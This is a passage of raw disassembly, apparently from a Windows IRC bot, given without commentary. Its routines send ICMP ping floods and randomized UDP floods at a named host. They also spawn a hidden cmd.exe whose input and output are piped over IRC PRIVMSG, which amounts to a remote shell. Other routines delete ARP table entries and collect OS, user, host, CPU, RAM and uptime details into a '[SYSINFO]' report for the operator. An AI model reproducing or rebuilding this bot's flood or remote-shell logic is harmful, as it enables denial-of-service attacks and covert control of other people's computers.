unk_42B368 jmp short loc_40A125 ; --------------------------------------------------------------------------- loc_40A159: ; CODE XREF: sub_40A093+29j ; sub_40A093+89j cmp [esi], edi jbe short loc_40A143 lea ebx, [esi+4] loc_40A160: ; CODE XREF: sub_40A093+DAj push ebx call dword_43A410 ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_40A160 jmp short loc_40A143 sub_40A093 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A171 proc near ; CODE XREF: sub_401447+243p ; sub_401BD6+268p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_43A33C ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_43A6CC movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_4154E7 add esp, 18h mov eax, esi pop esi leave retn sub_40A171 endp ; =============== S U B R O U T I N E ======================================= sub_40A1CA proc near ; CODE XREF: sub_4010B2+24Cp ; sub_4010B2+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40A1F3 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40A1E6: ; CODE XREF: sub_40A1CA+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40A1E6 pop edi jmp short loc_40A1F7 ; --------------------------------------------------------------------------- loc_40A1F3: ; CODE XREF: sub_40A1CA+Aj mov edx, [esp+4+arg_0] loc_40A1F7: ; CODE XREF: sub_40A1CA+27j test esi, esi pop esi jz short loc_40A201 movzx ecx, byte ptr [edx] add eax, ecx loc_40A201: ; CODE XREF: sub_40A1CA+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40A1CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A217 proc near ; DATA XREF: sub_40CE55+2D34o var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_415D70 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_43A324 ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_43A3D8 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_40A272 lea eax, [ebp+var_C0] push eax call dword_43A41C ; gethostbyname cmp eax, ebx jz short loc_40A278 loc_40A272: ; CODE XREF: sub_40A217+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_40A2D5 loc_40A278: ; CODE XREF: sub_40A217+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42B4AC push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40A2B8 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_412D4C add esp, 14h loc_40A2B8: ; CODE XREF: sub_40A217+7Fj lea eax, [ebp+var_344] push eax call sub_40B16D push [ebp+var_30] call sub_4152AF pop ecx pop ecx push edi call dword_421048 ; ExitThread loc_40A2D5: ; CODE XREF: sub_40A217+5Fj cmp eax, ebx jz short loc_40A2E5 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_40A2E8 ; --------------------------------------------------------------------------- loc_40A2E5: ; CODE XREF: sub_40A217+C0j mov [ebp+var_4], esi loc_40A2E8: ; CODE XREF: sub_40A217+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_415570 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_40A308 mov [ebp+var_3C], eax loc_40A308: ; CODE XREF: sub_40A217+ECj cmp [ebp+var_38], edi jge short loc_40A310 mov [ebp+var_38], edi loc_40A310: ; CODE XREF: sub_40A217+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_40A33D loc_40A317: ; CODE XREF: sub_40A217+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_43A2BC ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_40A317 loc_40A33D: ; CODE XREF: sub_40A217+FEj push [ebp+arg_0] call dword_43A450 ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42B46C push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40A386 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_412D4C add esp, 14h loc_40A386: ; CODE XREF: sub_40A217+14Dj lea eax, [ebp+var_344] push eax call sub_40B16D push [ebp+var_30] call sub_4152AF pop ecx pop ecx push ebx call dword_421048 ; ExitThread sub_40A217 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A3A3 proc near ; DATA XREF: sub_40CE55+2E7Bo var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_415D70 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi call dword_42104C ; GetTickCount push eax call sub_415539 pop ecx push 11h push 2 push 2 call dword_43A418 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_43A3D8 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_40A488 lea eax, [ebp+var_B0] push eax call dword_43A41C ; gethostbyname cmp eax, edi jnz short loc_40A481 lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42B528 push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40A464 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_412D4C add esp, 14h loc_40A464: ; CODE XREF: sub_40A3A3+9Fj lea eax, [ebp+var_334] push eax call sub_40B16D push [ebp+var_20] call sub_4152AF pop ecx pop ecx push esi call dword_421048 ; ExitThread loc_40A481: ; CODE XREF: sub_40A3A3+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_40A48B ; --------------------------------------------------------------------------- loc_40A488: ; CODE XREF: sub_40A3A3+6Ej lea eax, [ebp+arg_0] loc_40A48B: ; CODE XREF: sub_40A3A3+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_40A4A6 call sub_415543 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_40A4A9 ; --------------------------------------------------------------------------- loc_40A4A6: ; CODE XREF: sub_40A3A3+F0j push [ebp+var_24] loc_40A4A9: ; CODE XREF: sub_40A3A3+101j call dword_43A398 ; ntohs cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_40A4BB mov [ebp+var_24], esi loc_40A4BB: ; CODE XREF: sub_40A3A3+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_40A4C8 mov [ebp+var_24], eax loc_40A4C8: ; CODE XREF: sub_40A3A3+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_40A4DC mov [ebp+var_28], esi loc_40A4DC: ; CODE XREF: sub_40A3A3+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_40A4FD loc_40A4E3: ; CODE XREF: sub_40A3A3+158j call sub_415543 cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_40A4E3 loc_40A4FD: ; CODE XREF: sub_40A3A3+13Ej ; sub_40A3A3+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_40A55C push 0Bh pop esi loc_40A50A: ; CODE XREF: sub_40A3A3+197j lea eax, [ebp+var_10] push 10h push eax push edi call sub_415543 push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_43A3FC ; sendto push [ebp+var_28] call dword_421060 ; Sleep dec esi jnz short loc_40A50A cmp [ebp+var_24], edi jnz short loc_40A4FD call sub_415543 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_43A398 ; ntohs mov [ebp+var_E], ax jmp short loc_40A4FD ; --------------------------------------------------------------------------- loc_40A55C: ; CODE XREF: sub_40A3A3+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42B4E8 push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40A59C push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_412D4C add esp, 14h loc_40A59C: ; CODE XREF: sub_40A3A3+1D7j lea eax, [ebp+var_334] push eax call sub_40B16D push [ebp+var_20] call sub_4152AF pop ecx pop ecx push edi call dword_421048 ; ExitThread sub_40A3A3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40A5B9 proc near ; CODE XREF: sub_40A5E9+2Ap ; sub_40A621+7Ep ... mov eax, dword_43A6E4 push esi mov esi, dword_42106C cmp eax, 0FFFFFFFFh jz short loc_40A5CD push eax call esi ; CloseHandle loc_40A5CD: ; CODE XREF: sub_40A5B9+Fj mov eax, dword_43A6EC cmp eax, 0FFFFFFFFh jz short loc_40A5DA push eax call esi ; CloseHandle loc_40A5DA: ; CODE XREF: sub_40A5B9+1Cj mov eax, dword_43A6E0 cmp eax, 0FFFFFFFFh jz short loc_40A5E7 push eax call esi ; CloseHandle loc_40A5E7: ; CODE XREF: sub_40A5B9+29j pop esi retn sub_40A5B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5E9 proc near ; CODE XREF: sub_40B551+14Ap ; sub_40CE55+4507p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_415CF0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_43A6E8 call dword_421070 ; WriteFile test eax, eax jnz short loc_40A61C call sub_40A5B9 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40A61C: ; CODE XREF: sub_40A5E9+28j push 1 pop eax leave retn sub_40A5E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A621 proc near ; CODE XREF: sub_40A6A8+D3p ; sub_40A6A8+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_438FBC push [ebp+arg_4] call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40A664 push 7D0h call dword_421060 ; Sleep push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_4154E7 add esp, 10h jmp short loc_40A67B ; --------------------------------------------------------------------------- loc_40A664: ; CODE XREF: sub_40A621+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_4154E7 add esp, 0Ch loc_40A67B: ; CODE XREF: sub_40A621+41j lea eax, [ebp+var_200] push 0 push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43A3E8 ; send test eax, eax jg short loc_40A6A4 call sub_40A5B9 loc_40A6A4: ; CODE XREF: sub_40A621+7Cj xor eax, eax leave retn sub_40A621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6A8 proc near ; DATA XREF: sub_40A7FD+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_43A6F0 loc_40A6C0: ; CODE XREF: sub_40A6A8+79j ; sub_40A6A8+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_43A6E4 call dword_4210FC ; PeekNamedPipe test eax, eax jz loc_40A78E cmp [ebp+var_4], edi jnz short loc_40A723 lea eax, [ebp+var_8] push eax push dword_43A6E0 call dword_421000 ; GetExitCodeProcess test eax, eax jz short loc_40A719 cmp [ebp+var_8], 103h jnz loc_40A7B2 loc_40A719: ; CODE XREF: sub_40A6A8+62j push 0Ah call dword_421060 ; Sleep jmp short loc_40A6C0 ; --------------------------------------------------------------------------- loc_40A723: ; CODE XREF: sub_40A6A8+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_40A73A loc_40A72A: ; CODE XREF: sub_40A6A8+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_40A788 inc eax cmp eax, [ebp+var_4] jb short loc_40A72A loc_40A73A: ; CODE XREF: sub_40A6A8+80j mov [ebp+var_4], esi loc_40A73D: ; CODE XREF: sub_40A6A8+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_43A6E4 call dword_421068 ; ReadFile test eax, eax jz short loc_40A7DA lea eax, [ebp+var_20C] push eax push ebx push dword_43A724 call sub_40A621 add esp, 0Ch jmp loc_40A6C0 ; --------------------------------------------------------------------------- loc_40A788: ; CODE XREF: sub_40A6A8+8Aj inc eax mov [ebp+var_4], eax jmp short loc_40A73D ; --------------------------------------------------------------------------- loc_40A78E: ; CODE XREF: sub_40A6A8+45j push offset dword_42B5F4 push ebx push dword_43A724 call sub_40A621 push [ebp+arg_0] call sub_4152AF add esp, 10h push 1 call dword_421048 ; ExitThread loc_40A7B2: ; CODE XREF: sub_40A6A8+6Bj call sub_40A5B9 push offset dword_42B5B8 push ebx push dword_43A724 call sub_40A621 push [ebp+arg_0] call sub_4152AF add esp, 10h push edi call dword_421048 ; ExitThread loc_40A7DA: ; CODE XREF: sub_40A6A8+C3j push offset dword_42B574 push ebx push dword_43A724 call sub_40A621 push [ebp+arg_0] call sub_4152AF add esp, 10h push edi call dword_421048 ; ExitThread sub_40A6A8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7FD proc near ; CODE XREF: sub_40B551+99p ; sub_40CE55+51BFp var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_40A5B9 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_43A454 ; SearchPathA test eax, eax jz loc_40A8F7 push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_421108 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi ; CreatePipe test eax, eax jz loc_40A8F7 lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; CreatePipe test eax, eax jz loc_40A8F7 mov edi, dword_421104 push 3 push esi push esi push offset dword_43A6E8 call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call dword_421100 ; DuplicateHandle test eax, eax jz short loc_40A8F7 push 10h loc_40A89A: ; DATA XREF: .nsp0:00424ED4o ; .nsp0:00424F18o ... lea eax, [ebp+var_2C] push esi push eax call sub_415570 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_415570 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_438FBC push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call dword_4210EC ; CreateProcessA test eax, eax jnz short loc_40A8FF loc_40A8F7: ; CODE XREF: sub_40A7FD+2Fj ; sub_40A7FD+5Cj ... or eax, 0FFFFFFFFh jmp loc_40A9AD ; --------------------------------------------------------------------------- loc_40A8FF: ; CODE XREF: sub_40A7FD+F8j push [ebp+var_4] mov edi, dword_42106C call edi ; CloseHandle mov eax, [ebp+var_10] push [ebp+var_28] mov dword_43A6E4, eax mov eax, [ebp+var_8] mov dword_43A6EC, eax mov eax, [ebp+var_2C] mov dword_43A6E0, eax call edi ; CloseHandle mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_43A724, eax jz short loc_40A939 push [ebp+arg_4] jmp short loc_40A93A ; --------------------------------------------------------------------------- loc_40A939: ; CODE XREF: sub_40A7FD+135j push ebx loc_40A93A: ; CODE XREF: sub_40A7FD+13Aj push offset dword_43A6F0 call sub_4154E7 pop ecx pop ecx push esi push 7 push offset dword_42B680 call sub_414F93 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43F530[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_40A6A8 push esi push esi call dword_42108C ; CreateThread cmp eax, esi mov dword_43F53C[edi], eax jnz short loc_40A9AB call dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_378] push offset dword_42B638 push eax call sub_4154E7 lea eax, [ebp+var_378] push eax call sub_40B16D add esp, 10h loc_40A9AB: ; CODE XREF: sub_40A7FD+185j xor eax, eax loc_40A9AD: ; CODE XREF: sub_40A7FD+FDj pop edi pop esi pop ebx leave retn sub_40A7FD endp ; =============== S U B R O U T I N E ======================================= sub_40A9B2 proc near ; CODE XREF: sub_407135+74p ; sub_40AAD1+217p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call dword_42104C ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_43A72C push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_415A6A add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_40A9B2 endp ; =============== S U B R O U T I N E ======================================= sub_40AA1B proc near ; CODE XREF: sub_40AAD1+290p push ebx push esi push edi mov esi, 0F4240h loc_40AA23: ; CODE XREF: sub_40AA1B+2Fj ; sub_40AA1B+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call dword_421060 ; Sleep rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_4172E0 mov edi, edx mov ebx, eax test edi, edi ja short loc_40AA23 jb short loc_40AA52 cmp ebx, esi ja short loc_40AA23 loc_40AA52: ; CODE XREF: sub_40AA1B+31j push 0 push 64h push edi push ebx call sub_417260 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_40AAC5 jb short loc_40AA71 cmp esi, 50h jnb short loc_40AA76 loc_40AA71: ; CODE XREF: sub_40AA1B+4Fj push 4Bh xor edx, edx pop eax loc_40AA76: ; CODE XREF: sub_40AA1B+54j test ecx, ecx ja short loc_40AAC5 jb short loc_40AA81 cmp esi, 47h jnb short loc_40AA86 loc_40AA81: ; CODE XREF: sub_40AA1B+5Fj push 42h xor edx, edx pop eax loc_40AA86: ; CODE XREF: sub_40AA1B+64j test ecx, ecx ja short loc_40AAC5 jb short loc_40AA91 cmp esi, 37h jnb short loc_40AA96 loc_40AA91: ; CODE XREF: sub_40AA1B+6Fj push 32h xor edx, edx pop eax loc_40AA96: ; CODE XREF: sub_40AA1B+74j test ecx, ecx ja short loc_40AAC5 jb short loc_40AAA1 cmp esi, 26h jnb short loc_40AAA6 loc_40AAA1: ; CODE XREF: sub_40AA1B+7Fj push 21h xor edx, edx pop eax loc_40AAA6: ; CODE XREF: sub_40AA1B+84j test ecx, ecx ja short loc_40AAC5 jb short loc_40AAB1 cmp esi, 1Eh jnb short loc_40AAB6 loc_40AAB1: ; CODE XREF: sub_40AA1B+8Fj push 19h xor edx, edx pop eax loc_40AAB6: ; CODE XREF: sub_40AA1B+94j test ecx, ecx ja short loc_40AAC5 jb short loc_40AAC1 cmp esi, 0Ah jnb short loc_40AAC5 loc_40AAC1: ; CODE XREF: sub_40AA1B+9Fj xor eax, eax xor edx, edx loc_40AAC5: ; CODE XREF: sub_40AA1B+4Dj ; sub_40AA1B+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_40AA1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AAD1 proc near ; CODE XREF: sub_40CE55+541Fp var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_438FBC mov [ebp+var_CC], 94h call dword_42110C ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_40AB58 cmp [ebp+var_C4], ebx jnz short loc_40AB34 cmp [ebp+var_BC], 1 jnz short loc_40AB1E mov [ebp+var_4], offset a95 ; "95" loc_40AB1E: ; CODE XREF: sub_40AAD1+44j cmp [ebp+var_BC], 2 jnz loc_40ABD3 mov [ebp+var_4], offset aNt ; "NT" jmp short loc_40ABA4 ; --------------------------------------------------------------------------- loc_40AB34: ; CODE XREF: sub_40AAD1+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_40AB46 mov [ebp+var_4], offset a98 ; "98" jmp short loc_40AB9B ; --------------------------------------------------------------------------- loc_40AB46: ; CODE XREF: sub_40AAD1+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_40AB94 mov [ebp+var_4], offset aMe ; "ME" jmp short loc_40AB9B ; --------------------------------------------------------------------------- loc_40AB58: ; CODE XREF: sub_40AAD1+33j cmp [ebp+var_C8], 5 jnz short loc_40AB94 cmp [ebp+var_C4], ebx jnz short loc_40AB72 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_40AB9B ; --------------------------------------------------------------------------- loc_40AB72: ; CODE XREF: sub_40AAD1+96j cmp [ebp+var_C4], 1 jnz short loc_40AB84 mov [ebp+var_4], offset aXp ; "XP" jmp short loc_40AB9B ; --------------------------------------------------------------------------- loc_40AB84: ; CODE XREF: sub_40AAD1+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_40AB9B loc_40AB94: ; CODE XREF: sub_40AAD1+7Cj ; sub_40AAD1+8Ej mov [ebp+var_4], offset dword_42B7D0 loc_40AB9B: ; CODE XREF: sub_40AAD1+73j ; sub_40AAD1+85j ... cmp [ebp+var_BC], 2 jnz short loc_40ABD3 loc_40ABA4: ; CODE XREF: sub_40AAD1+61j cmp [ebp+var_B8], bl jz short loc_40ABD3 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_42B7C8 push eax call sub_4154E7 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_40ABD3: ; CODE XREF: sub_40AAD1+54j ; sub_40AAD1+D1j ... mov ax, word_42B7C4 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_43A284 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_40AC0C lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_40AC0C: ; CODE XREF: sub_40AAD1+12Cj push [ebp+arg_4] call sub_40A171 pop ecx push eax call dword_43A3D8 ; inet_addr mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_43A350 ; gethostbyaddr cmp eax, ebx jz short loc_40AC35 push dword ptr [eax] jmp short loc_40AC3A ; --------------------------------------------------------------------------- loc_40AC35: ; CODE XREF: sub_40AAD1+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_40AC3A: ; CODE XREF: sub_40AAD1+162j lea eax, [ebp+var_3E4] push eax call sub_4154E7 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call dword_421058 ; GetSystemDirectoryA lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call dword_421084 ; GetDateFormatA lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call dword_421080 ; GetTimeFormatA push 20h lea eax, [ebp+var_38] push ebx push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_38] push eax call dword_421110 ; GlobalMemoryStatus push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_417348 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_40C328 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_40A9B2 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40A171 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_40C218 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_40C218 pop ecx pop ecx push eax call sub_40AA1B push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+arg_0] call sub_415A6A mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_40AAD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AD85 proc near ; CODE XREF: sub_40CE55+4422p ; sub_40CE55+544Dp var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_415570 add esp, 0Ch cmp dword_43A480, 0 jnz short loc_40ADF9 push 